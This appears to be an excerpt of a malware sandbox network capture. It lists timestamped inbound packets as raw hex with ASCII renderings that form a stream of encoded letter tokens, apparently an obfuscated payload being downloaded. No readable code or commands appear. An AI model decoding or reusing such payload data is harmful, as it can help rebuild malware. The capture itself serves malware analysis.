4e 56 4d 20 4e 4d 57 20 4e 4e 4d 20 56 43 20 4c 49 20 59 63 20 56 4c 56 20 49 72 20 4e 4e 63 20 57 59 20 4e 43 57 20 4e 4e 56 20 59 4e 20 4c 56 20 59 43 20 59 72 Data Ascii: YV rW IW IL NNY NNM NCM NVV VLc YL VC LV Wr NMV NNM NCM WC YC rI YN LI Ir NNr NNM NCW NNV YC cL cN Yr IN NVY NNM NCW NNL rN C rI Yr cc NNr NNM NCW NCI YC rI LY YV rM NNV NNM NCW NNc rW WY Lc YY Ir NNc NVM NMW NNM VC LI Yc VLV Ir NNc WY NCW NNV YN LV YC Yr
2021-10-29 18:29:09 UTC	1289	IN	Data Raw: 20 4e 43 56 20 59 43 20 72 49 20 59 43 20 72 56 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 4e 20 72 49 20 72 49 20 59 43 20 59 43 20 49 4d 20 56 57 20 4e 43 56 20 4e 43 49 20 4e 4e 56 20 59 56 20 59 49 20 56 4c 63 20 59 4e 20 4e 4e 72 20 4e 43 43 20 4e 56 4d 20 4e 4d 57 20 4e 4e 56 20 59 56 20 56 63 20 59 43 20 59 72 20 49 59 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 4d 20 57 4e 20 4e 4e 72 20 4e 4e 56 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 72 4e 20 63 20 49 63 20 4e 4e 72 20 57 57 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 72 20 59 43 20 59 72 20 63 57 20 4e 4e 56 20 4e 72 20 4e 4e 4e 20 4e 4e 56 20 59 43 20 59 56 20 72 57 20 49 57 20 57 72 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 4e 56 56 20 56 4c 63 20 59 4c 20 Data Ascii: NCV YC rI YC rV Ir NNr NCC NNN NN rI rI YC YC IM VW NCV NCI NNV YV YI VLc YN NNr NCC NVM NMW NNV YV Vc YC Yr IY WI NNM NCW NNV YC rI YC YM WN NNr NNV WI NNV YC rW rN c Ic NNr WW NCW NNV YC rr YC Yr cW NNV Nr NNN NNV YC YV rW IW Wr NNY NNM NCM NVV VLc YL
2021-10-29 18:29:09 UTC	1291	IN	Data Raw: 4e 63 20 57 59 20 4e 43 49 20 57 63 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 4c 20 4e 56 4d 20 4e 4e 56 20 63 56 20 63 4c 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 4e 43 20 4e 4e 56 20 72 56 20 72 49 20 59 43 20 59 72 20 4d 57 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4e 4e 72 20 4d 4c 20 59 43 20 59 43 20 59 72 20 49 43 20 4e 4e 4c 20 4e 4e 4c 20 56 20 4e 43 59 20 59 4e 20 72 49 20 59 56 20 4c 4c 20 57 72 20 4e 4d 56 20 4e 4e 56 20 4d 59 20 4e 43 56 20 59 63 20 56 4c 49 20 59 43 20 72 49 20 4e 56 63 20 4e 4e 59 20 4e 43 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 63 57 20 57 57 20 4e 4e 4d 20 4e 43 72 20 4e 56 4d 20 59 43 20 72 49 20 59 4e 20 4e 56 20 49 63 20 4e 43 4e 20 56 63 20 4c 63 20 4e 4e 56 Data Ascii: Nc WY NCI Wc YC rI YC Yr Ir NNr NCL NVM NNV cV cL YC Yr IY NCY cW NNC NNV rV rI YC Yr MW NNr NNM NVr NNr ML YC YC Yr IC NNL NNL V NCY YN rI YV LL Wr NMV NNV MY NCV Yc VLI YC rI NVc NNY NCN NCW NNV YC rI YC Yr cW WW NNM NCr NVM YC rI YN NV Ic NCN Vc Lc NNV
2021-10-29 18:29:09 UTC	1292	IN	Data Raw: 4e 20 57 49 20 59 63 20 4d 49 20 59 59 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 20 4e 43 63 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 56 4d 20 49 72 20 4e 4e 72 20 4e 4e 59 20 63 57 20 4e 57 59 20 59 4e 20 72 49 20 59 56 20 4c 57 20 57 72 20 4e 56 4d 20 4e 4e 20 4e 43 4e 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 49 57 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 56 63 20 4e 4e 63 20 56 59 20 59 49 20 4e 49 20 4e 57 43 20 4d 4e 20 4e 4e 72 20 4e 4e 4d 20 63 57 20 56 4c 57 20 59 43 20 72 49 20 59 63 20 4c 57 20 49 43 20 4e 4e 63 20 4e 56 59 20 4e 56 4d 20 4e 4e 59 20 57 4c 20 4e 49 59 20 59 43 20 59 72 20 49 56 20 57 72 20 4e 59 63 20 4e 43 43 20 57 57 20 59 59 20 4c 72 20 59 59 20 63 57 20 56 4e 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 4e 72 4c 20 72 Data Ascii: N WI Yc MI YY Yr Ir NNI NN NCc NNV YC YV Vc VM Ir NNr NNY cW NWY YN rI YV LW Wr NVM NN NCN NNV YC YV Vc NIW Ir NNr NNY NVc NNc VY YI NI NWC MN NNr NNM cW VLW YC rI Yc LW IC NNc NVY NVM NNY WL NIY YC Yr IV Wr NYc NCC WW YY Lr YY cW VNc NNY NNM NCM II NrL r
2021-10-29 18:29:09 UTC	1294	IN	Data Raw: 49 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 4e 4e 72 20 72 49 20 72 49 20 59 56 20 63 43 20 4d 59 20 4e 56 59 20 56 72 49 20 57 57 20 4e 4e 56 20 59 43 20 59 43 20 56 4c 20 4c 56 20 63 72 20 4e 72 43 20 4e 4e 59 20 59 4c 20 4e 4e 56 20 59 43 20 59 72 20 63 59 20 4e 49 4c 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 43 4d 20 49 59 20 4c 4d 20 4c 63 20 56 43 72 20 72 49 20 4e 4c 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 4c 20 4e 4d 57 20 72 49 20 59 43 20 72 49 20 56 72 63 20 49 4d 20 4e 43 57 20 4e 56 4e 20 4e 72 56 20 59 56 20 4e 43 63 20 59 43 20 59 72 20 49 56 20 4e 20 56 72 72 20 4e 43 57 20 4e 4e 56 20 59 56 20 4e 72 63 20 56 4c 20 72 4d 20 63 72 20 4e 72 43 20 4e 4e 59 20 59 72 20 4e 4e 56 20 59 43 20 59 72 20 63 59 20 4e 49 4c 20 49 72 20 4e 4e 72 20 4e Data Ascii: I Ir NNr NNY LC NNr rI rI YV cC MY NVY VrI WW NNV YC YC VL LV cr NrC NNY YL NNV YC Yr cY NIL Ir NNr NNY VCM IY LM Lc VCr rI NL NNr NNM NCM L NMW rI YC rI Vrc IM NCW NVN NrV YV NCc YC Yr IV N Vrr NCW NNV YV Nrc VL rM cr NrC NNY Yr NNV YC Yr cY NIL Ir NNr N
2021-10-29 18:29:09 UTC	1295	IN	Data Raw: 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 59 56 20 56 43 63 20 59 56 20 59 43 20 49 63 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 56 4e 4c 20 59 43 20 72 49 20 59 63 20 4c 43 20 63 49 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 49 49 20 4c 59 20 72 49 20 59 43 20 56 57 20 4e 56 72 20 56 59 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 72 20 56 56 20 72 57 20 59 43 20 49 4e 20 57 43 20 59 49 20 4e 43 57 20 4e 4e 56 20 59 56 20 56 63 20 59 43 20 59 72 20 4d 57 20 63 63 20 4e 4e 4c 20 4e 43 57 20 59 4d 20 59 4e 20 72 49 20 59 43 20 72 4e 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 43 59 20 4c 20 4e 57 43 20 72 57 20 59 43 20 72 49 20 4e 4e 4c 20 4e 20 56 4e 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 57 59 20 57 4c 20 59 59 20 49 72 20 4e 4e 63 20 49 43 20 4c 43 20 4e 43 59 20 59 43 Data Ascii: Y NNM NCW NNI YV VCc YV YC Ic NNr NNY LC VNL YC rI Yc LC cI NNr NNM MC II LY rI YC VW NVr VYC NNM NCW NNI Vr VV rW YC IN WC YI NCW NNV YV Vc YC Yr MW cc NNL NCW YM YN rI YC rN Ir NNr NCC NCY L NWC rW YC rI NNL N VNC NCW NNV Yc WY WL YY Ir NNc IC LC NCY YC
2021-10-29 18:29:09 UTC	1296	IN	Data Raw: 4e 4c 20 59 43 20 72 49 20 59 43 20 4e 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 56 4e 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 57 49 20 59 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 63 4e 20 72 49 20 59 43 20 59 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4e 57 20 49 59 20 4e 4e 72 20 4e 4e 4d 20 72 72 20 4e 4e 4c 20 59 43 20 72 49 20 59 4e 20 59 72 20 49 72 20 4e 4e 72 20 49 4e 20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 4e 59 20 72 57 20 59 43 20 59 72 20 56 56 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4d 20 59 43 Data Ascii: NL YC rI YC NI Ir NNr NNc NCW NNV YC rI VNc Yr Ir NNr NVc NCW NNV YC NWI YC Yr Ir NNL NNM NCW NNV cN rI YC YY Ir NNr NNM NCW NNV YC rI YC NNW IY NNr NNM rr NNL YC rI YN Yr Ir NNr IN NCW NNV YN rI YC Yr Ir NNr NNM NCW NNV NNY rW YC Yr VV NNY NNM NCW NNM YC
2021-10-29 18:29:09 UTC	1298	IN	Data Raw: 59 43 20 59 72 20 57 72 20 56 57 20 4e 57 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 72 20 4e 4c 57 20 59 59 20 49 72 20 4e 4e 63 20 4e 4e 4c 20 63 57 20 4e 59 43 20 59 43 20 72 49 20 59 56 20 4c 43 20 56 56 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 43 20 4c 4c 20 43 20 63 56 20 59 72 20 4e 57 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 43 20 72 56 20 4e 4e 4d 20 4e 4e 63 20 4e 43 57 20 4e 4e 63 20 4c 4e 20 56 43 20 4c 63 20 56 4c 43 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 49 20 4e 4c 49 20 72 49 20 59 43 20 63 43 20 4e 4c 56 20 4e 56 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 56 63 20 4e 4c 63 20 59 43 20 59 72 20 57 72 20 57 43 20 56 43 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 72 20 4e 4c 63 20 59 72 Data Ascii: YC Yr Wr VW NWr NCW NNV Yc Vr NLW YY Ir NNc NNL cW NYC YC rI YV LC VVM NNY NNM NCM WC LL C cV Yr NWr NNr NNM NCW NNV YC rI YC YC rV NNM NNc NCW NNc LN VC Lc VLC NV NNr NNM NCI II NLI rI YC cC NLV NVc NNM NCW NNr Vc NLc YC Yr Wr WC VCr NCW NNV Yc Vr NLc Yr
2021-10-29 18:29:09 UTC	1299	IN	Data Raw: 57 20 56 56 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 4c 59 20 59 56 20 57 4c 20 56 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4e 4e 49 20 57 4c 20 4e 43 20 59 43 20 59 72 20 49 56 20 49 4d 20 4e 43 57 20 57 72 20 4e 56 43 20 72 49 20 59 4e 20 59 72 20 4c 43 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 4e 43 59 20 4e 20 59 72 20 63 59 20 4e 59 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 4c 20 57 43 20 59 43 20 72 49 20 59 4e 20 72 56 20 49 72 20 4e 4e 72 20 4e 4e 57 20 4e 43 57 20 57 4d 20 59 43 20 72 72 20 4c 4e 20 59 72 20 57 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 72 49 20 72 49 20 4e 4e 63 20 59 72 20 4d 56 20 4e 63 20 4e 4e 4d 20 57 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4d 63 20 49 63 20 57 43 20 4e 4d 4e 20 4e 43 Data Ascii: W VVc NNc NCW NNI LY YV WL VrC Ir NNr NVM NNN NNI WL NC YC Yr IV IM NCW Wr NVC rI YN Yr LC NV NNr NNM NCM NCY N Yr cY NYM Ir NNr NVM VL WC YC rI YN rV Ir NNr NNW NCW WM YC rr LN Yr WC NNr NNM NCW NNV rI rI NNc Yr MV Nc NNM WW NNV YC rI YC NMc Ic WC NMN NC
2021-10-29 18:29:09 UTC	1300	IN	Data Raw: 56 56 20 59 56 20 59 4e 20 57 4c 20 49 4e 20 49 59 20 4e 4e 72 20 4e 4e 59 20 63 57 20 4e 56 59 20 59 43 20 72 49 20 59 56 20 49 57 20 4e 59 4d 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 4e 72 20 59 56 20 57 59 20 4d 20 59 72 20 49 72 20 4e 4e 63 20 49 43 20 4e 4e 4d 20 63 4d 20 59 49 20 59 43 20 72 57 20 59 43 20 4e 56 72 20 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 72 4c 20 4c 20 59 56 20 63 57 20 56 59 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 43 20 56 72 20 4e 72 56 20 72 57 20 49 57 20 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 56 20 56 43 20 59 43 20 72 57 20 49 57 20 59 59 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 4e 49 57 20 72 49 20 59 43 20 72 49 20 59 57 20 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 4c 20 72 43 20 4e 20 63 56 Data Ascii: VV YV YN WL IN IY NNr NNY cW NVY YC rI YV IW NYM NNr NNM NCL NNr YV WY M Yr Ir NNc IC NNM cM YI YC rW YC NVr NI NNM NCW NNI rL L YV cW VYY NNr NNM NCL NC Vr NrV rW IW M NNY NNM NCM WV VC YC rW IW YY NNY NNM NCM II NIW rI YC rI YW rI NNM NCW NNI VL rC N cV
2021-10-29 18:29:09 UTC	1302	IN	Data Raw: 20 59 43 20 72 49 20 59 57 20 4d 4d 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 43 20 59 43 20 4c 4d 20 4e 49 4d 20 4e 56 4d 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 59 20 4c 63 20 63 4d 20 4e 59 59 20 59 72 20 49 72 20 4e 4e 63 20 56 4e 59 20 63 57 20 56 59 4c 20 59 43 20 72 49 20 59 56 20 49 57 20 56 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 49 63 20 56 72 20 72 49 20 59 43 20 59 72 20 4d 4e 20 63 63 20 4e 4e 56 20 4e 43 57 20 4e 57 56 20 59 4e 20 72 49 20 59 43 20 4e 57 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 49 49 20 4e 49 72 20 72 49 20 59 43 20 72 49 20 4c 57 20 4e 4e 57 20 4e 4e 57 20 4e 43 57 20 4e 4e 49 20 59 63 20 72 4d 20 63 4e 20 4e 49 4d 20 57 43 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 59 20 4c 63 20 4c 63 20 56 43 72 20 72 49 20 4c Data Ascii: YC rI YW MM NNM NCW NNI VC YC LM NIM NVM NNr NNM NNN IY Lc cM NYY Yr Ir NNc VNY cW VYL YC rI YV IW VN NNr NNM NCM Ic Vr rI YC Yr MN cc NNV NCW NWV YN rI YC NW Ir NNr NCC NNN II NIr rI YC rI LW NNW NNW NCW NNI Yc rM cN NIM WC NNr NNM NNN IY Lc Lc VCr rI L
2021-10-29 18:29:09 UTC	1303	IN	Data Raw: 72 20 4e 4e 63 20 56 4e 59 20 63 57 20 56 72 49 20 59 43 20 72 49 20 59 56 20 72 49 20 4c 57 20 56 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 57 20 59 63 20 59 4e 20 59 72 20 49 43 20 57 43 20 56 72 43 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 72 20 56 43 72 20 72 49 20 49 56 20 4e 4e 56 20 4e 4e 4d 20 4e 43 4d 20 4c 20 4e 59 4e 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 57 49 20 4e 4e 4d 20 4e 43 57 20 57 4e 20 56 63 20 4c 4c 20 59 43 20 59 72 20 4e 56 4d 20 57 43 20 56 72 4c 20 4e 43 57 20 4e 4e 56 20 59 56 20 56 72 20 4e 49 4e 20 59 72 20 49 72 20 4e 4e 63 20 4e 4e 59 20 4e 72 4d 20 4e 4e 49 20 59 4c 20 59 43 20 59 43 20 72 49 20 4c 57 20 56 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 4c 56 20 59 43 20 59 72 20 4e 56 4d 20 57 43 20 4e 43 43 Data Ascii: r NNc VNY cW VrI YC rI YV rI LW VNr NNM NCW NVV MW Yc YN Yr IC WC VrC NCW NNV YV Yr VCr rI IV NNV NNM NCM L NYN rI YC cC NVr WI NNM NCW WN Vc LL YC Yr NVM WC VrL NCW NNV YV Vr NIN Yr Ir NNc NNY NrM NNI YL YC YC rI LW VNY NNM NCW NVV Vc LV YC Yr NVM WC NCC
2021-10-29 18:29:09 UTC	1304	IN	Data Raw: 4e 4e 56 20 59 43 20 72 49 20 56 4e 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 57 4d 20 59 43 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 56 56 20 72 49 20 59 43 20 59 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 59 72 20 59 43 20 72 49 20 59 43 20 63 4e 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 59 59 20 4e 4e 56 20 59 43 20 72 49 20 72 57 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 56 20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 72 4d 20 72 57 20 59 43 20 59 72 20 4d 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 72 49 20 59 43 20 4e 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 59 Data Ascii: NNV YC rI VNc Yr Ir NNr NVc NCW NNV YC NWM YC Yr Ir NNY NNM NCW NNV VV rI YC YY Ir NNr NNM NCW NYr YC rI YC cN Ir NNr NNM NYY NNV YC rI rW Yr Ir NNr NVV NCW NNV YN rI YC Yr Ir NNr NNM NCW NNV rM rW YC Yr ML NNY NNM NCW NNL YC rI YC NI Ir NNr NNc NCW NNV Y
2021-10-29 18:29:09 UTC	1306	IN	Data Raw: 20 4d 4e 20 56 72 63 20 59 72 20 56 72 20 4e 4c 59 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 56 4e 57 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 56 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 56 43 4e 20 59 4e 20 72 49 20 59 56 20 59 43 20 4e 56 72 20 4e 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 63 20 4e 4c 59 20 59 4e 20 59 72 20 49 56 20 49 49 20 4e 43 56 20 57 4c 20 4e 56 72 20 59 43 20 4e 63 63 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 72 20 4d 49 20 59 63 20 59 59 20 49 72 20 4e 4e 49 20 49 49 20 4d 4c 20 4e 43 56 20 56 56 63 20 4e 43 72 20 59 43 20 59 72 20 49 59 20 57 43 20 56 43 59 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 56 72 20 63 4c 20 59 72 20 49 72 20 4e 4e 56 20 57 4c 20 56 4e 4c 20 4e 4e 56 Data Ascii: MN Vrc Yr Vr NLY Yr Ir NVC Vc VNW NNV YC YI WL NVW Ir NNr NVM cW VCN YN rI YV YC NVr NrI NNM NCW NNI Vc NLY YN Yr IV II NCV WL NVr YC Ncc YC Yr Ir NNr NNM NCW NNV Yr MI Yc YY Ir NNI II ML NCV VVc NCr YC Yr IY WC VCY NCW NNV Yc VVr cL Yr Ir NNV WL VNL NNV
2021-10-29 18:29:09 UTC	1307	IN	Data Raw: 4e 20 72 49 20 59 56 20 4c 57 20 49 43 20 57 43 20 4e 72 72 20 4e 43 57 20 4e 4e 56 20 59 56 20 57 59 20 4e 63 56 20 59 59 20 49 72 20 4e 4e 63 20 4e 43 43 20 4e 43 59 20 4c 4e 20 56 72 72 20 72 49 20 59 43 20 63 43 20 49 43 20 57 43 20 56 43 4e 20 4e 43 49 20 4e 4e 56 20 59 56 20 59 72 20 57 4c 20 63 4d 20 49 59 20 4e 4e 72 20 4e 4e 59 20 4d 4e 20 4e 4e 56 20 59 43 20 72 57 20 72 63 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 56 72 20 4e 4e 56 20 72 63 20 56 57 20 59 43 20 59 63 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 4e 49 20 59 43 20 72 56 20 59 72 20 4e 4e 72 20 4e 56 4c 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 4e 63 20 59 43 20 4e 56 72 20 56 43 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 56 63 20 56 4c 49 20 Data Ascii: N rI YV LW IC WC Nrr NCW NNV YV WY NcV YY Ir NNc NCC NCY LN Vrr rI YC cC IC WC VCN NCI NNV YV Yr WL cM IY NNr NNY MN NNV YC rW rc Yr Ir NNV NNM NVr NNV rc VW YC Yc Ir NNr NNM NCW NNr YC NNI YC rV Yr NNr NVL NCW NNV YC rI NNc YC NVr VCc NNc NCW NNI Vc VLI
2021-10-29 18:29:09 UTC	1308	IN	Data Raw: 57 4c 20 49 59 20 59 4e 20 59 72 20 49 56 20 56 57 20 56 56 59 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 43 20 4e 57 4e 20 56 57 20 49 72 20 4e 4e 72 20 4e 4e 57 20 4d 56 20 4e 43 56 20 63 59 20 4e 63 4c 20 59 43 20 59 72 20 49 56 20 56 43 49 20 49 43 20 4e 56 56 20 4e 4e 49 20 4e 72 72 20 56 72 20 4e 57 4e 20 59 72 20 49 72 20 4e 4e 63 20 4e 56 63 20 4e 43 63 20 4e 4e 59 20 57 4c 20 49 57 20 59 4e 20 59 72 20 49 56 20 57 43 20 56 72 57 20 4e 43 57 20 4e 4e 56 20 59 56 20 57 59 20 56 72 49 20 59 72 20 49 72 20 4e 56 43 20 4e 4e 4c 20 63 57 20 56 43 72 20 59 4e 20 72 49 20 59 56 20 72 57 20 59 57 20 56 72 4c 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 56 72 20 4e 63 63 20 72 57 20 49 57 20 59 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 56 20 72 63 20 59 56 20 56 Data Ascii: WL IY YN Yr IV VW VVY NCW NNV YV rC NWN VW Ir NNr NNW MV NCV cY NcL YC Yr IV VCI IC NVV NNI Nrr Vr NWN Yr Ir NNc NVc NCc NNY WL IW YN Yr IV WC VrW NCW NNV YV WY VrI Yr Ir NVC NNL cW VCr YN rI YV rW YW VrL NNc NCW NNI Vr Ncc rW IW YL NNY NNM NCM WV rc YV V
2021-10-29 18:29:09 UTC	1312	IN	Data Raw: 57 59 20 56 4c 20 59 72 20 49 72 20 4e 56 43 20 49 57 20 4e 43 72 20 4e 43 4c 20 4c 4c 20 59 72 20 56 59 20 63 4c 20 4d 43 20 4e 56 56 20 57 4c 20 49 49 20 4e 4e 56 20 59 43 20 59 49 20 4c 4e 20 56 4c 56 20 4e 4c 49 20 4e 56 72 20 4e 43 4c 20 4e 43 4e 20 4e 72 56 20 4c 63 20 59 63 20 59 43 20 59 72 20 4d 57 20 56 57 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 4c 63 20 4c 59 20 72 49 20 4e 4e 43 20 4e 4d 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4c 4c 20 59 59 20 63 57 20 72 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 57 20 59 63 20 4c 4c 20 59 63 20 49 57 20 4e 4c 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 57 20 59 4c 20 4c 49 20 4c 4c 20 63 4e 20 63 63 20 57 4d 20 4e 56 4e 20 4d 43 20 59 4d 20 4c 59 20 59 57 20 4c 4e 20 4e 56 4c 20 63 Data Ascii: WY VL Yr Ir NVC IW NCr NCL LL Yr VY cL MC NVV WL II NNV YC YI LN VLV NLI NVr NCL NCN NrV Lc Yc YC Yr MW VW NVc NCW NNV Yc VLc LY rI NNC NMc NNM NCW NNV YC LL YY cW rI NNr NNM NCL WW Yc LL Yc IW NLY NNr NNM NCL WW YL LI LL cN cc WM NVN MC YM LY YW LN NVL c
2021-10-29 18:29:09 UTC	1316	IN	Data Raw: 59 72 20 56 43 63 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4d 57 20 72 49 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 72 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 72 4c 20 72 49 20 59 72 20 49 72 20 4e 63 4e 20 4e 4e 57 20 4e 43 57 20 4e 4e 56 20 59 63 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 72 49 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 49 43 20 4e 4e 72 20 59 43 20 72 49 20 56 4c 4d 20 59 56 20 49 72 20 4e 4e 72 20 4e 4e 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 59 20 4e 4e 56 20 4e 56 4c 20 72 57 20 59 43 20 59 72 20 4e 56 Data Ascii: Yr VCc NNV NNM NCW NMW rI rI YC YL Ir NNr NNM WI NNV YC rW rI Yr Ir NNr NCN NCW NNV YC VrL rI Yr Ir NcN NNW NCW NNV Yc rI YC Yr Ir NNr NNM NCW NNV YC rI YC rI Ir NNr NNM NIC NNr YC rI VLM YV Ir NNr NNI NCW NNV YC YI YC Yr IY NCY cW NCY NNV NVL rW YC Yr NV
2021-10-29 18:29:09 UTC	1317	IN	Data Raw: 59 4d 20 59 72 20 49 72 20 4e 56 43 20 4e 63 57 20 4e 56 72 20 4e 4e 4d 20 4c 4e 20 4c 56 20 59 4c 20 4c 57 20 49 43 20 4e 4e 4c 20 4e 4e 4c 20 63 57 20 56 56 72 20 59 43 20 72 49 20 59 56 20 4c 43 20 63 63 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 4e 56 4c 20 59 57 20 57 59 20 63 56 20 59 72 20 49 72 20 4e 56 43 20 49 49 20 56 59 59 20 4e 4d 72 20 59 63 20 59 4d 20 4c 43 20 72 49 20 57 4c 20 56 57 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 4c 63 20 56 4c 63 20 59 4c 20 4e 4e 72 20 4e 4d 56 20 4e 4e 4d 20 4e 43 59 20 57 57 20 59 49 20 4c 49 20 4c 4c 20 63 4c 20 4e 56 4d 20 49 4c 20 4e 43 43 20 4e 43 4e 20 57 4d 20 59 57 20 4e 4d 43 20 4c 4c 20 63 43 20 49 4c 20 4e 4e 56 20 4e 43 43 20 4e 43 4c 20 49 49 20 56 4c 4c 20 72 49 20 59 43 20 63 43 20 4e 56 72 Data Ascii: YM Yr Ir NVC NcW NVr NNM LN LV YL LW IC NNL NNL cW VVr YC rI YV LC cc NNr NNM MC NVL YW WY cV Yr Ir NVC II VYY NMr Yc YM LC rI WL VW NVc NCW NNV Yc VLc VLc YL NNr NMV NNM NCY WW YI LI LL cL NVM IL NCC NCN WM YW NMC LL cC IL NNV NCC NCL II VLL rI YC cC NVr
